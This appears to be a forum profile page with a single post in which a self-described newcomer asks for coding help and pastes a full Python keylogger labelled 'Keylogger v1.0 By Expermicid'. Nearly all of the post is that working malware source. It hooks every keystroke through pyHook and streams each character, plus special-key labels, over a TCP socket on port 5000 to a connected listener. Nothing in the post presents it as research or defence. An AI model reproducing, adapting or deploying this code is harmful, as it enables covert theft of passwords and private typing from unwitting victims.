Jump to content

zUser

Members
  • Posts

    1
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

zUser's Achievements

Newbie

Newbie (1/14)

10

Reputation

  1. Hi! i'm newbiew someone can help me ? how to make code ? sorry my english very bad ################################## ## ## ## Keylogger v1.0 ## ## By Expermicid ## ## Fecha : 15/10/12 ## ## Server ## ## ## ################################## import socket import pythoncom, pyHook def OnKeyboardEvent(event) : # letras minusculas y letras mayusculas if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) : sc.send(chr(event.Ascii)) # numeros elif event.Ascii > 47 and event.Ascii < 58 : sc.send(chr(event.Ascii)) # F1 .. F12 elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Espacio elif event.Ascii == 32 : sc.send(chr(event.Ascii)) # Enter elif event.Ascii == 13 : sc.send(' [Intro] ') # BackSpace elif event.Ascii == 8 : sc.send(' [BackSpace] ') # Escape elif event.Ascii == 27 : sc.send(' [Escape] ') # Tab elif event.Ascii == 9 : sc.send(' [Tab] ') # Flechas elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Bloq Mayus elif event.KeyID == 20 and event.Ascii == 0 : sc.send(' [BloqMayus] ') # caracteres elif event.Ascii > 32 and event.Ascii < 48 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 57 and event.Ascii < 65 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 90 and event.Ascii < 97 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 122 and event.Ascii < 127 : sc.send(chr(event.Ascii)) # Insetar / Delete elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # ascii extendido elif event.Ascii > 127 and event.Ascii < 255 : sc.send(chr(event.Ascii)) # Flechas elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Win / Apps elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Inicio-Fin / RePag-AvPag elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((socket.gethostname(), 5000)) s.listen(1) sc, addr = s.accept() except s.error: print 'Error de coneccion ' else: hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
×
×
  • Create New...